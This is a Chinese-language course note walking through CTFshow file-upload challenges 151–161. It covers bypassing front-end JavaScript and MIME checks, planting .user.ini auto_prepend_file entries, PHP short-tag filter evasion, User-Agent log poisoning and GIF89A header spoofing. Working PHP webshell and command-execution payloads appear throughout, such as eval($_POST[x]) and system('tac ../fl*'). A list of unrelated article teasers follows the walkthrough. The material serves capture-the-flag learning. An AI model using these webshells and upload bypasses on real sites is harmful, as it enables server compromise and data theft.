day31 文件上传js验证mimeuser.ini语言特性

news2024/11/26 2:56:50

前言

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF赛题知识点

2、文件上传-中间件解析&编辑器安全

3、文件上传-实例CMS文件上传安全分析

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

CTFshow 靶场实战

151-JS验证

在前端对代码进行了验证,这时候就需要修改前端验证即可

152-JS验证+MIME

Content-Type: image/png

加入了MIME的验证

153-JS验证+user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini

首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。
这些配置可以分为四种:

我感觉是按重要程度分类了,比如关乎到系统一类的配置,那一类的全部配置,都属于“PHP_INI_SYSTEM”。它只能在,像php.ini这样的“厉害”的文件里可以设定。而其他的三类不怎么重要的配置,除了可以在php.ini中设定外,还可以在其它类似的文件中设定,其中就包括.user.ini文件。

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

或者

auto_append_file=test.jpg

然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可,也可蚁剑连接

.user.ini:auto_prepend_file=test.png

test.png:<?php eval($_POST[x]);?>

首先先上传一个".user.ini"的文件,里面写着包含指定的图马。然后直接访问index.php即可(前提访问的文件必须让user.ini生效”

154 155-JS验证+user.ini+短标签

php的不同写法

<?echo'123';?>//前提是开启配置参数short_open_tags=on

<?=(表达式)?>//不需要开启参数设置

<%echo'123';%>//前提是开启配置参数asp_tags=on

<script language=”php”>echo'1';</script>//不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

他这里对内容进行了检测,过滤了<?php 这个整体,只要出现就拒绝,这时候就要考虑其他语言或者不用<?php 实现php代码,这里呢就是用的短标签

156JS验证+user.ini+短标签+过滤

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST{x});?>//这里是过滤了[]

155关是对后缀进行验证,用.user.ini即可

157-158-159JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png //这里过滤了正则表达式和php ,所以直接读取flag

test.png:<?=system('tac ../fl*')?>//直接调用php的函数system

test.png:<?echo`tac /var/www/html/f*`?>//''这里是运用php的执行运算符' '

160JS验证+user.ini+短标签+过滤

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>这里首先先上传一个包含默认日志的文件,然后再上传一个UA头修改后的文件,将恶意代码写入日志里面。

161JS验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A<?=include"/var/lo"."g/nginx/access.lo"."g"?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/27672.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于MATLABsimulink的《电路原理》课程仿真实验平台开发

目 录 摘 要 I Abstract II 第一章 绪论 1 1.1选题背景及意义 1 1.2设计内容 1 1.3设计思想 2 第二章 MATLAB简介 3 2.1 MATLAB程序设计 3 2.2 Simulink仿真 4 2.2.1 Simulink 启动 4 2.2.2 Simulink 模块库及模块操作 4 2.2.3 仿真参数设置 6 2.3图形用户界面&#xff08;GUI&…

基于STM32的温控风扇

本设计是基于STM32的温控风扇&#xff0c;主要实现以下功能&#xff1a; 温度控制风速&#xff0c;四个挡位&#xff0c;停止、低速、中速、高速 按键可切换模式&#xff0c;可手动切换挡位&#xff0c;四个挡位&#xff0c;停止、低速、中速、高速 按键设置温度值&#xff0c…

网络刷卡器开发,刷新移动物联新生活

在物联网应用需求和身份校验普及的影响下&#xff0c;沐渥自主研发生产了一款基于网络协议传输的读卡设备——网络刷卡器&#xff0c;这是一款体积小巧&#xff0c;方便携带&#xff0c;即插即用&#xff0c;无需安装驱动&#xff0c;采用USB通讯&#xff0c;即刻响应对接客户的…

Linux系统漏洞本地提权

目录 一、实验项目名称 二、实验目的 三、实验内容 四、实验环境 五、实验步骤 六、实验结果 七、实验总结 一、实验项目名称 Linux系统漏洞本地提权及跳板设置实验 二、实验目的 1.msf工具的使用&#xff1b; 2.“脏牛”漏洞CVE-2016-5195漏洞利用方法。 三、实验…

MCE | 铁死亡——调节性细胞死亡

多细胞生物中&#xff0c;调节性细胞死亡过程 (RCD) 是细胞维持组织形态和功能必不可少的稳态机制。此前研究较多的调节性细胞死亡包括三大类&#xff1a;细胞凋亡、自噬和坏死。 “铁死亡”这一概念最早在 2012 年由 Dr. Brent R Stockwell 提出&#xff0c;它是一种铁离子依赖…

ORM概念

ORM概念 ORM是Object Relational Mapping 对象关系映射。简单来说&#xff0c;就是把数据库表和实体类及实体类的属性对应起来&#xff0c;让开发者操作实体类就实现操作数据库表。 ORM(Object Relation Mapping)对象关系映射 思想&#xff1a;将关系数据库中表中的记录映射为对…

百货集团数字化转型方案

一、案例简述 后疫情时代对零售业&#xff0c;特别是百货和购物中心造成了巨大冲击&#xff0c;驱使实体零售业拥抱数字化转型。从总体上看&#xff0c;实体零售企业对于数字化转型的必要性已有充分的认知及一定的实践操作&#xff0c;但数字化仍处于起步阶段&#xff0c;线上…

”消费全返“是割韭菜,非也,广告电商引领全新“全返”模式

谈及消费全返&#xff0c;大家可能会避而不谈&#xff0c;因为有“云联惠”这个实实在在的案例发生&#xff0c;各大企业都怕进局子&#xff0c;现在都不弄消费全返了。说到“云联惠”&#xff0c;为什么它能在短时间内火得这么快&#xff0c;因为他们以“全返”为阙头&#xf…

驱动开发2

P 19 驱动设计的思想&#xff1a;面向对象/分层/分离 用结构体来表示某个对象 分离思想 将某个有很多类似操作的写在一起&#xff0c;这样我们根据参数就可以替换不同的步骤了 1、上下分层 将设计硬件的比如 初始化gpio、设置GPIO写成board.c 同用的就写在drv.c里面 2、左右分…

python数据分析与可视化

//注&#xff1a;绿色为正确答案&#xff0c;红色为错误答案&#xff0c;粉色为本人做错之后&#xff0c;系统给出的答案&#xff0c;可能有些题本人未标记&#xff0c;但是是可以区分的&#xff0c;题目中存在重复题目&#xff0c;下面有三张图的代码建议交代码块&#xff0c;…

中小企业知识管理难题怎么做?天翎与群晖携手给出最优解

编者按&#xff1a;在知识经济越来越重要的今天&#xff0c;做好知识管理对企业来说至关重要&#xff0c;但是中小企业的知识管理之路&#xff0c;比起大企业更加困难&#xff0c;该如何应对呢&#xff1f;本文分析了现代中小企业面临的知识管理困境&#xff0c;并进一步提出天…

Spring:AOP通知获取数据(13)

AOP通知获取数据AOP通知获取参数非环绕通知获取参数方式环绕通知获取参数方式AOP通知获取返回值环绕通知获取返回值返回后通知获取返回值AOP通知获取数据的案例AOP通知获取参数 非环绕通知获取参数方式 在方法上添加JoinPoint,通过JoinPoint来获取参数&#xff0c; 这里只使用…

[附源码]Python计算机毕业设计出版社样书申请管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

源自双11混部实战,Koordinator 如何保障应用服务质量?

作者&#xff1a;张佐玮、韩柔刚 Koordinator 团队 在洪峰流量下&#xff0c;如何确保应用的服务质量不受影响的同时&#xff0c;最大限度提升资源利用率&#xff0c;是考验混部技术成熟度的关键。本文将展开介绍Koordinator在资源隔离&#xff0c;单机QoS保障&#xff0c;以及…

4、SySeVR复现——Generating slices

目录 1、准备阶段 2、生成实验数据的CFG图 3、生成实验数据的PDG图 4、生成实验数据的调用图 5、获取四种类型的SyVCs 6、提取SeVCs 7、获取漏洞的代码行号 8、给切片打标签 9、将标签写入切片 1、准备阶段 实验数据我只用这些&#xff1a; &#xff08;1&#xff09;…

Spring源码深度解析:六、ConfigurationClassPostProcessor

一、前言 文章目录&#xff1a;Spring源码分析&#xff1a;文章目录 ConfigurationClassPostProcessor是非常重要的一个 后处理器。 ConfigurationClassPostProcessor完成了 配置类的解析和保存以及Component注解、Import等注解的解析工作 。将所有需要注入的bean解析成BeanD…

【学习日志】2022.11.18 Technical Artist Training Tutorial----Unlit Shader Of Unity

着色器 - Unity 手册 (unity3d.com)https://docs.unity3d.com/cn/current/Manual/Shaders.html 常用板块&#xff08;Properties&#xff09; _MainTex("MainTex",2D)"black"{} _Float("Float",Float)0.0 _Range("Range",Range(0.0,1…

【测试沉思录】14. 性能测试中的系统资源分析之一:CPU

作者&#xff1a;马海琴 编辑&#xff1a;毕小烦 在日常的性能测试中&#xff0c;我们除了关注应用本身的性能&#xff0c;比如服务的响应时间、TPS 等&#xff0c;也需要关注服务器本身的资源使用情况&#xff0c;比如 CPU、内存、磁盘、网络等。当然&#xff0c;不光要分析服…

Java中string、int、char之间互相转换

String转int &#xff08;1&#xff09;Integer.parseInt(String) 方法 支持“负号”&#xff01; String str "123"; int num Integer.parseInt(str); 如果这个字符串中间有字母会报错&#xff01; &#xff08;2&#xff09;Integer.valueOf(String) 方法 …

白炽灯护眼还是LED护眼?2022年被央视315表扬的护眼灯

根据各方面对比下来&#xff0c;还是LED灯更护眼的&#xff0c;听我分析一下。 白炽灯是最早的出现的灯具&#xff0c;是由灯丝通电加热到白炽状态的&#xff0c;热辐射比较严重&#xff0c;灯光泛黄&#xff0c;并且白炽灯的光电转换效率低&#xff0c;费电&#xff0c;寿命太…